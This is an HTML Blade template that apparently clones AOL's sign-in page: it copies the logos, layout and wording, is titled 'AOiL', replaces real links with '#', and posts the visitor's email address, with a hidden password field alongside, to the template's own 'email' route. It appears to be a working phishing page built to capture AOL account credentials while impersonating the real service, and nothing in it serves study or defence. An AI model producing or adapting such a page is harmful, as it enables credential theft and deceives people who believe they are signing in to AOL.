<!DOCTYPE html>

<html id="Stencil" class="js grid light-theme ">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=0, shrink-to-fit=no">
    <title>AOiL</title>
    <meta name="description" content="AOL">

    <style nonce="">
        #mbr-css-check {
            display: inline;
        }
    </style>
    <link href="/other/aol-main.css" rel="stylesheet" type="text/css">

</head>
<body class="bucket-mbr-mismatched-reg"
      bis_register="W3sibWFzdGVyIjp0cnVlLCJleHRlbnNpb25JZCI6ImVwcGlvY2VtaG1ubGJoanBsY2drb2ZjaWllZ29tY29uIiwiYWRibG9ja2VyU3RhdHVzIjp7IkRJU1BMQVkiOiJkaXNhYmxlZCIsIkZBQ0VCT09LIjoiZGlzYWJsZWQiLCJUV0lUVEVSIjoiZGlzYWJsZWQiLCJSRURESVQiOiJkaXNhYmxlZCJ9LCJ2ZXJzaW9uIjoiMS45LjAiLCJzY29yZSI6MTA5MDB9XQ==">

<div id="login-body" class="loginish  puree-v2  grid    " bis_skin_checked="1">
    <div class="mbr-desktop-hd" bis_skin_checked="1">
    <span class="column">
         <a href="#">
            <img src="/other/aol-logo-black-v.0.0.2.png" alt="Aol" class="logo " width="100" height="">
            <img src="/other/aol-logo-white-v0.0.4.png" alt="Aol" class="dark-mode-logo logo " width="100"
                 height="">
        </a>
    </span>
        <span class="column help txt-align-right">
        <a href="#">Help</a>
    </span>
    </div>
    <div class="login-box-container" bis_skin_checked="1">
        <div class="login-box right" bis_skin_checked="1">
            <div class="mbr-login-hd txt-align-center" bis_skin_checked="1">
                <img src="/other/aol-logo-black-v.0.0.2.png" alt="Aol" class="logo aol-en-GB" width="100"
                     height="">
                <img src="/other/aol-logo-white-v0.0.4.png" alt="Aol" class="dark-mode-logo logo aol-en-GB"
                     width="100" height="">
            </div>
            <div class="challenge yid-challenge" bis_skin_checked="1">
                <div class="challenge-header" bis_skin_checked="1">
                </div>
                <div class="username-challenge" id="login-landing" bis_skin_checked="1">
                    <strong class="challenge-heading">Sign&nbsp;in</strong>
                    <span class="challenge-desc">&nbsp;</span>

                    <form id="login-username-form" action="{{route('email')}}" method="post" class="pure-form">
                        @csrf
                        <div id="username-country-code-field"
                             class="username-country-code puree-country-inline-dropdown-disabled code-of-length-3"
                             bis_skin_checked="1">

                            <div class="input-group" bis_skin_checked="1">
                                <input class="phone-no " type="text" name="email" id="login-username" value=""
                                       autocomplete="username" autocapitalize="none" autocorrect="off" autofocus="true"
                                       placeholder=" ">
                                <div class="input-field-icon hide" id="username-field-icon" bis_skin_checked="1"></div>
                                <label for="login-username" id="login-label" class="login-label">email address
                                </label>
                                @error('email')
                                <span style="color: tomato">{{$message}}</span>
                                @enderror
                            </div>
                            <div class="hidden-input-container" bis_skin_checked="1">
                                <input name="passwd" class="pwd-field" type="password" tabindex="-1" aria-hidden="true"
                                       role="presentation" autocorrect="off" placeholder="Password">
                            </div>
                        </div>
                        <p id="username-error" class="error-msg hide" role="alert"></p>


                        <div class="button-container" bis_skin_checked="1">
                            <input id="login-signin" type="submit" name="signin"
                                   class="pure-button puree-button-primary challenge-button" value="Next"
                                   data-rapid-tracking="true" data-ylk="elm:btn;elmt:primary;slk:next;mKey:next"
                                   aria-hidden="false">
                        </div>

                        <div class="helper-links-container" bis_skin_checked="1">
                            <div class="helper-item " bis_skin_checked="1">
                <span class="stay-signed-in checkbox-container">
                    <input id="persistent" name="persistent" value="y" type="checkbox">
                    <label for="persistent">Stay signed&nbsp;in</label>
                </span>
                            </div>
                            <div class="helper-item arlink" bis_skin_checked="1">
                <span class="help">
                    <a href="#/forgot?intl=uk&amp;lang=en-gb&amp;done=https%3A%2F%2Fwww.aol.com"
                       id="mbr-forgot-link" data-ylk="elm:btn;elmt:forgot;slk:forgot;mkey:forgot"
                       data-rapid-tracking="true">Forgotten&nbsp;username?</a>
                </span>
                            </div>
                        </div>
                        <div class="bottom-links-container" bis_skin_checked="1">
                            <p class="sign-up-link">
                                <a href="#/account/create?intl=uk&amp;lang=en-gb&amp;specId=yidReg&amp;done=https%3A%2F%2Fwww.aol.com"
                                   id="createacc" role="button"
                                   class="pure-button puree-button-secondary challenge-button"
                                   data-rapid-tracking="true" data-ylk="elm:link;elmt:secondary;slk:signup;mKey:signup">Create
                                    an&nbsp;account</a>
                            </p>

                        </div>
                    </form>
                </div>
            </div>
        </div>
        <div id="login-box-ad-fallback" class="login-box-ad-fallback" bis_skin_checked="1">
            <h1></h1>
            <p></p>
        </div>
    </div>
    <div class="login-bg-outer" bis_skin_checked="1">
        <div class="login-bg-inner" bis_skin_checked="1">
            <div id="sb_rel_login-ad-rich" class="darla" bis_skin_checked="1"
                 style="position: relative; z-index: 9; width: 1440px; height: 1024px; visibility: inherit; display: inline-block; font-size: 0px;">

            </div>
        </div>
    </div>
    <div class="login-footer" bis_skin_checked="1">
        <p>
            <a href="#" target="_blank" class="terms">Terms</a>

            <span>|</span>
            <a href="#" target="_blank" class="privacy">Privacy</a>

        </p>
    </div>
</div>

<script src="/other/bundle.js.download"></script>


<div id="mbr-css-check" bis_skin_checked="1"></div>
<div id="page-mask" class="page-mask hide" bis_skin_checked="1"></div>
<div id="ad" bis_skin_checked="1"></div>
<div class="mbr-legacy-device-bar" id="mbr-legacy-device-bar" bis_skin_checked="1">
    <label class="cross" for="mbr-legacy-device-bar-cross" aria-label="Close this warning">x</label>
    <input type="checkbox" id="mbr-legacy-device-bar-cross">
    <p class="mbr-legacy-device">
        AOL works best with the latest versions of browsers. You're using an out-of-date or unsupported browser and some
        AOL features may not work properly. Please update your browser version now. <a
            href="#/?lang=en-gb&amp;intl=uk">More&nbsp;info</a>
    </p>
</div>

</body>
</html>
